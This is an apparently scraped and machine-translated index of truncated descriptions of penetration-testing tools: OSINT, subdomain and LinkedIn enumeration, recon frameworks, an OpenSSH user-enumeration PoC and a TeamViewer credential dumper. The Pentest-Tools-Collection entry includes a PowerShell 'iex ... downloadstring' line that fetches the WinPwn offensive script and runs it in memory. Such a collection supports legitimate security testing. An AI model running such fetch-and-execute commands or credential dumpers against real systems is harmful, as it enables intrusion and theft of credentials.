maswe

OWASP 移动应用安全弱点枚举（MASWE） OWASP 移动应用安全弱点枚举（MASWE） 是一份移动应用中常见安全和隐私弱点的清单，旨在作为开发者、安全研究人员和安全专业人士的参考。它充当了 OWASP 移动应用安全验证标准（MASVS） 与 OWASP 移动应用安全测试指南（MASTG） 之间的桥梁。 在定义 MASWE 时，我们借鉴了 通用弱点枚举（CWE），这是一个由社区共同开发的常见软件安全弱点清单。MASWE 旨在作为 CWE 的补充清单 ，特别聚焦于移动应用中的安全弱点。 OWASP MAS: OWASP MASVS ➡ OWASP MASWE ➡ OWASP MAST...

gOSINT

gOSINT Codacy Badge Goで作られたOSINTスイスアーミーナイフ 詳細なアップデートについてはdevelopブランチをご覧ください。 はじめに gOSINTは、Golangで書かれたマルチプラットフォーム対応のOSINTスイスアーミーナイフです。貢献やフィードバックがあればお気軽にどうぞ！ プロジェクトが気に入りましたか？ 寄付をご検討ください : gOSINTでできること 現在gOSINTには以下のモジュールがあります： gitによるメール取得サポート（GitHub APIまたはプレーンなクローンと検索を使用） PGPサーバーでメール、エイリアス、KeyIDを検索...

InSpy

InSpy ⛔ 非推奨. このリポジトリはメンテナンスされていません。 はじめに InSpyはPythonベースのLinkedIn列挙ツールです。 バージョン3.0では、ランダム化されたヘッダーとXML出力サポートに加えて、ドメインとメールの取得の自動化が導入されました。 インストール クローンしたInSpyディレクトリ内で pip install -r requirements.txt を実行してください。 HunterIO からAPIキーを取得し、InSpy.py内のhunterio変数（29行目）に挿入してください。 ヘルプ root@kitploit: InSpy - A...

waldo

Waldo は、Python で実装された軽量かつマルチスレッドなディレクトリ・サブドメインのブルートフォーサーです。指定されたターゲットの隠された Web リソースや未発見のサブドメインを特定するために使用できます。 主な機能 ターゲットドメインの全サブドメインのリストを素早く簡単に生成 攻撃の一部として利用できる可能性のある隠れた Web リソースを発見 Python で記述されており、移植性が高い 高速でマルチスレッドな設計 セットアップ 依存関係は次のコマンドでインストールできます: root@kitploit: $ pip install -r pip.req waldo...

Findomain

Findomain ドメイン認識のための完全なソリューション。スクリーンショット取得、ポートスキャン、他のツールからのデータインポート、サブドメインモニタリングなどをサポート。Discord、Slack、Telegramなどのサービスを通じて発見結果のアラートを受け取れます。ソース用の複数のAPIキーなどにも対応。 チャットで参加 Findomainで何ができるか?...

TeamViewer-dumper-in-CPP

TeamViewer-dumper-in-CPP ====================== 通过枚举子窗口，从正在运行的 TeamViewer 实例中转储 TeamViewer ID、密码和帐户设置。 编译与要求 1. 使用 CL 编译 2. cl TeamViewerDump.cpp 3. 或者使用 cl TeamViewerDump.cpp /EHsc 4. 要求 5. TeamViewer 必须正在运行 6. 仅在 TeamViewer 英文界面下测试过 示例输出 root@kitploit: C:\tools\ProjectsTeamViewerDump.exe...

Spoofy

Spoofy 概要 Spoofy は、SPF レコードと DMARC レコードに基づいて、ドメインリストのなりすましが可能かどうかをチェックするプログラムです。「なぜドメインのなりすましチェックに別のツールが必要なのか？」と疑問に思うかもしれません。 その理由は、Spoofy には以下のような違いがあるからです。 1. 既知のフォールバック（Cloudflare DNS）を利用したすべてのルックアップの権威的（Authoritative）クエリ 2. 正確な一括ルックアップ 3. カスタムで手動テスト済みのなりすましロジック（推測や憶測ではなく、実際のテスト結果に基づく） 4. SPF...

cloud_enum

cloudenum cloudenum の将来性 私は2019年に、Azureを対象としたペネトレーションテストのためにこのツールを構築しました。当時は他にそれをサポートする列挙ツールがありませんでした。そこから成長し、機能を追加しながら多くのことを学びました。 ツールを構築するのは楽しいですが、メンテナンスは大変です。私はしばらくこのツールを積極的に使用していませんが、バグ修正やプルリクエストのレビューには最善を尽くしてきました。...

cve-2018-15473

CVE-2018-15473 OpenSSH 至 7.7 版本存在用户枚举漏洞，原因在于未将无效验证用户的延迟退出推迟到包含请求的数据包完全解析之后，涉及 auth2-gss.c、auth2-hostbased.c 和 auth2-pubkey.c。 安装 你可能需要安装你的发行版对应的 openssl-dev 包 root@kitploit: 注意：如果你在 kali 上安装，可以跳过 pip install；paramiko 已经存在。 git clone https://gitlab.com/epi052/cve-2018-15473.git cd cve-2018-15473 p...

subscraper

SubScraper 概要 :smallbluediamond: 使い方 :smallbluediamond: 貢献 SubScraperは、様々な手法を用いて対象ドメインのサブドメインを発見するサブドメイン列挙ツールです。サブドメイン列挙は、ペネトレーションテストやバグバウンティにおいて、組織の攻撃対象領域を明らかにするのに特に役立ちます。 適用されたCMD引数に応じて、SubScraperはDNS名の解決、HTTPS情報の取得、乗っ取りの機会を探るためのCNAMEルックアップを列挙プロセス中に実行できます。これにより、次のステップの特定や、悪用のパターンの発見が可能になります。 主な...

Reconator

Reconator は自動偵察フレームワークです。ターゲットを1つまたは一括で追加すると、ワーカーが約17の偵察モジュール（サブドメイン列挙、dirbrute、JS/リンクマイニング、WAFフィンガープリント、乗っ取りチェック、GFトリアージなど）を実行します。ダッシュボードにはモジュールごとの出力が到着次第表示されます。 スタック 層| 技術 ---|--- API| FastAPI · SQLAlchemy 2 · Alembic · Pydantic v2 Worker| タイムアウト＋キャンセル機能付きPythonサブプロセスランナー DB| PostgreSQL 16 Web|...

rengine

reNgine: 究極のWeb偵察＆脆弱性スキャナー 🚀 reNgine 2.2.0 がリリースされました！ reNgine 2.2.0 には、HackerOneプログラムの同期とインポートが可能なバウンティハブ、アプリ内通知、サブドメイン列挙ツールとしてのChaos、複数のNucleiおよびGFパターンのアップロード機能、スコープ外サブドメイン設定における正規表現のサポート、追加のPDFレポートテンプレートなどが搭載されています。 reNgine 2.2.0の新機能をチェック！ reNgine とは？...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Colecciones de herramientas WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

SCANNER-INURLBR

描述 在搜索引擎中进行高级搜索，支持分析提供的 GET / POST 以捕获电子邮件和 URL，并为每个找到的目标/URL 内置自定义验证逻辑。 一款可在不同 Linux 发行版上运行的 PHP 工具，帮助黑客和安全专业人员执行特定搜索引擎的任务。 内置多种自动化探索方法，包括扫描器。 INURLBR（代号：Facada）工具旨在帮助黑客社区识别 Web 中的潜在漏洞，通过使用 Google Hacking（Dorking）技术执行高级搜索以在互联网上寻找目标。 该工具拥有搜索引擎的强大能力。 免责声明 This or previous program is for Educationa...

bugbounty_tools

bugbountytools 用于漏洞赏金工作期间使用的脚本和工具集合。这里将存放我为个人使用而创建的自动化脚本，偶尔也会公开发布 联系方式： 如有问题、评论或请求，请在我的 X 账号（不要通过私信）发帖，我会尽力回复 https://x.com/thedawgyg 当前工具： thcrecon.py - 使用 THC 子域名查找 API，为给定的 IP/IP 范围/根域名获取子域名的脚本。 thclivecheck.py - 为 thcrecon.py 设计的辅助工具，将获取生成的域名列表并找出这些主机上的活跃 Web 服务器。 即将推出的工具： xsshunter.py -...

BruteConda

このツールが役に立ったなら、スポンサーになることで私を支援できるかもしれません。それにより、より優れた「オープンソースツール」を作成する助けになります。 BruteConda あなたの生活を楽にするディレクトリブルートフォースツール！ なぜBruteCondaだけなのか？ 高速かつ効率的 使いやすい ユーザーフレンドリー 必要条件: Python3がインストールされていること Python3に以下のモジュールがインストールされていること: Requests、Time、Colorama、sys、argparse、os.path 使用方法: 1. git clone...

CrossLinked

CrossLinked CrossLinkedは、検索エンジンのスクレイピングを利用して組織から有効な従業員名を収集するLinkedIn列挙ツールです。この手法は、APIキーや認証情報を使用せず、LinkedInに直接アクセスすることなく正確な結果を提供します！ 目次 インストール 前提条件 命名形式 高度な書式設定 検索 使用例 スクリーンショット 解析 使用例 スクリーンショット 追加オプション プロキシローテーション コマンドライン引数 貢献 インストール PyPi PyPiから最新の安定版をインストール: root@kitploit: pip3 install crosslink...

CVE-2022-23342

CVE-2022-23342 安全公告 – OnBase 中的用户名枚举 受影响的软件版本和构建：OnBase Application Server 早于 20.3.58.1000 的 OnBase 版本以及 21.1.1.1000 至 21.1.15.1000 的 OnBase 版本受到影响。 已修复的软件版本和构建： OnBase EP3 版本，大于或等于 20.3.58.1000 OnBase EP5 版本，大于或等于 21.1.16.1000 公告：202206-ONBASE-1 CVSS 严重性：中危 CVSS 分数：5.3 CVSS...

webstor

WebStor 組織内の脆弱なWebテクノロジーの迅速な識別 WebStorはMITライセンスの下でPythonで実装されたツールで、組織のすべてのネットワーク上のすべてのWebサイトを迅速に列挙し、それらのレスポンスを保存し、ゼロデイ脆弱性を持つものなど、既知のWebテクノロジーとバージョンを問い合わせるためのものです。特に、分散管理が行われている中規模から大規模の組織において、異なる部門やネットワークに分散した様々な管理者によって展開されたすべてのWebテクノロジーを追跡することがほぼ不可能であるという特有の問題を解決することを目的としています。...

ActiveDirectoryEnumeration

ADE - ActiveDirectoryEnum root@kitploit: python -m ade usage: ade -h --dc DC -o OUTFILE -u USER -s -smb -kp -bh -spn -sysvol --all --no-creds --dry-run --exploit EXPLOIT / | / / / \ / / / / / /| |/ / / / | / / / / / / / / / / / / / / / / / / / / / / \ / / // // /| |/ / / // / /...